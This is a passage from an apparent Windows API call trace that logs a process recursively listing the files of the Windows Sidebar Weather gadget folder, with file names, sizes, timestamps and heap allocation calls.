ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x20be, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0209.261] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.html", cAlternateFileName="")) returned 1 [0209.261] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.html", cAlternateFileName="")) returned 0 [0209.261] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0209.261] GetProcessHeap () returned 0x550000 [0209.261] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0209.261] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a61aa77, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x2a61aa77, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2a640bd5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0209.262] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0209.262] GetProcessHeap () returned 0x550000 [0209.262] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0209.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0209.270] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.273] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a640bd5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x2a640bd5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2a640bd5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0209.273] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x867e8f60, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x867e8f60, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aa9137b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.png", cAlternateFileName="")) returned 1 [0209.274] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x867e8f60, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x867e8f60, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aa9137b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.png", cAlternateFileName="")) returned 1 [0209.274] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8680f0bd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8680f0bd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aa9137b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="12.png", cAlternateFileName="")) returned 1 [0209.274] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="120DPI", cAlternateFileName="")) returned 1 [0209.274] GetProcessHeap () returned 0x550000 [0209.274] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0209.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0209.278] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.279] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37179769, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x37179769, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x37179769, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0209.279] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b54ebb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b54ebb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3719f8c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)grayStateIcon.png", cAlternateFileName="")) returned 1 [0209.279] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3719f8c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)greenStateIcon.png", cAlternateFileName="")) returned 1 [0209.279] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3719f8c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0209.279] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ba1175, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ba1175, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x371c5a25, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)redStateIcon.png", cAlternateFileName="")) returned 1 [0209.279] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ba1175, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ba1175, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x371c5a25, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)redStateIcon.png", cAlternateFileName="")) returned 0 [0209.279] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0209.280] GetProcessHeap () returned 0x550000 [0209.280] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0209.280] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8683521a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8683521a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aab74d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="13.png", cAlternateFileName="")) returned 1 [0209.281] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8683521a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8683521a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aab74d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="14.png", cAlternateFileName="")) returned 1 [0209.281] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="144DPI", cAlternateFileName="")) returned 1 [0209.281] GetProcessHeap () returned 0x550000 [0209.281] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0209.281] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0209.290] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.290] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x371ebb83, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x371ebb83, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x37211ce1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0209.290] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d6a1d1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d6a1d1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37211ce1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)grayStateIcon.png", cAlternateFileName="")) returned 1 [0209.290] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d6a1d1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d6a1d1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37237e3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)greenStateIcon.png", cAlternateFileName="")) returned 1 [0209.290] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d9032e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d9032e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37237e3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0209.290] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86db648b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86db648b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37237e3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)redStateIcon.png", cAlternateFileName="")) returned 1 [0209.291] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86db648b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86db648b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37237e3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)redStateIcon.png", cAlternateFileName="")) returned 0 [0209.291] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0209.292] GetProcessHeap () returned 0x550000 [0209.292] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0209.292] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8685b377, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8685b377, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aadd637, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="15.png", cAlternateFileName="")) returned 1 [0209.292] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8685b377, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8685b377, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab03795, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.png", cAlternateFileName="")) returned 1 [0209.292] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868814d4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868814d4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab03795, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="17.png", cAlternateFileName="")) returned 1 [0209.292] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868a7631, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868a7631, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab03795, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="18.png", cAlternateFileName="")) returned 1 [0209.292] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868cd78e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868cd78e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="19.png", cAlternateFileName="")) returned 1 [0209.292] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868f38eb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868f38eb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="1px.gif", cAlternateFileName="")) returned 1 [0209.292] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868f38eb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868f38eb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.png", cAlternateFileName="")) returned 1 [0209.293] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86919a48, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86919a48, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="20.png", cAlternateFileName="")) returned 1 [0209.293] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86919a48, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86919a48, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab4fa51, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="21.png", cAlternateFileName="")) returned 1 [0209.293] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8693fba5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8693fba5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab4fa51, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="22.png", cAlternateFileName="")) returned 1 [0209.293] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86965d02, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86965d02, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab4fa51, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="23.png", cAlternateFileName="")) returned 1 [0209.293] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8698be5f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8698be5f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac34285, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="24.png", cAlternateFileName="")) returned 1 [0209.293] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8698be5f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8698be5f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac34285, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="25.png", cAlternateFileName="")) returned 1 [0209.293] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869b1fbc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869b1fbc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac5a3e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="26.png", cAlternateFileName="")) returned 1 [0209.293] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869b1fbc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869b1fbc, 